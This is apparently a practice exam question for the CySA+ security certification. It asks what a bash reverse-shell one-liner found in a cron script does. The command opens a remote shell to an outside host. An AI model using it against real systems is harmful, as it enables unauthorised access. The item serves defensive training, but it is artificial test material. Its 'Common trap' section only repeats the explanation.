CY.I · CySA+ CS0-004 practice question

A SOC analyst inspects a suspicious shell script found in `/etc/cron.hourly/sync.sh` on a compromised Ubuntu server: `bash -i >& /dev/tcp/198.51.100.77/4444 0>&1` What does this command do?

Choose one answer
Check answer and explanation

Correct answer: Establishes an interactive reverse shell to `198.51.100.77` on TCP port 4444

Explanation

`bash -i` starts an interactive shell, `>& /dev/tcp/198.51.100.77/4444` redirects stdout and stderr over a TCP socket to the attacker's IP and port, and `0>&1` redirects stdin to that same socket, creating a reverse shell.

Common trap

`bash -i` starts an interactive shell, `>& /dev/tcp/198.51.100.77/4444` redirects stdout and stderr over a TCP socket to the attacker's IP and port, and `0>&1` redirects stdin to that same socket, creating a reverse shell.

Source: Original unofficial practice; not an official CompTIA exam item
Checked against the cited text on 2026-11-30.

Report an error in this question